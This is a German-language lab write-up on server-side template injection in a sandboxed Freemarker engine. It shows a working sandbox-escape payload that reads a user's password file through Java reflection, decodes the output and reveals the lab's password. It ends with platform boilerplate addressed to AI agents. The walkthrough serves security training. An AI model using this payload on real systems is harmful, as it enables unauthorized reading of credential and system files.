> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssti/ssti-in-sandboxed-environment.md).

# SSTI in einer Sandbox-Umgebung

### Serverseitige Template-Injection in einer Sandbox-Umgebung

Dieses Lab verwendet die **Freemarker** Template-Engine mit einer schlecht konfigurierten Sandbox, die eine serverseitige Template-Injection ermöglicht. / Zweck: die Sandbox zu umgehen, um die `my_password.txt` Datei im persönlichen Ordner von Carlos zu lesen und anschließend ihren Inhalt einzureichen.

Bereitgestellte Anmeldedaten:/ `content-manager: C0nt3ntM4n4g3r`

#### 1. Codeausführung in der Vorlage prüfen

Zuerst testen wir, ob die Engine viele Java-Ausdrücke in der Vorlage interpretiert:

```python
${7*7}
```

Die Berechnung wird interpretiert, was das Vorhandensein von SSTI mit serverseitiger Codeausführung bestätigt.

<figure><img src="/files/63c39b37dacffbfca69098edf1a5dd055a4a008a" alt=""><figcaption></figcaption></figure>

#### 2. Die Sandbox umgehen und die sensible Datei lesen

Um die Sandbox zu verlassen und auf das Dateisystem zuzugreifen, verwenden wir das `product` im Kontext der Vorlage bereits vorhandene Objekt und steigen zu den zugrunde liegenden Java-Klassen auf, um die Carlos-Datei direkt zu lesen:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

Dieser Ausdruck gibt den Inhalt der `my_password.txt` Datei als Dezimalwerte (Byte-Codes) zurück.

<figure><img src="/files/bb3300ca4f233e04915af3e033f5237bbbd7be8c" alt=""><figcaption></figcaption></figure>

3/. Umwandlung von Dezimalwerten in Text

Die erhaltene Ausgabe ist eine Reihe von Dezimalzahlen:

`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`

Die Umwandlung dieser Werte in ASCII ergibt das folgende Passwort:

`d2nrbpm5bucuzocjee6b`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/ssti/ssti-in-sandboxed-environment.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
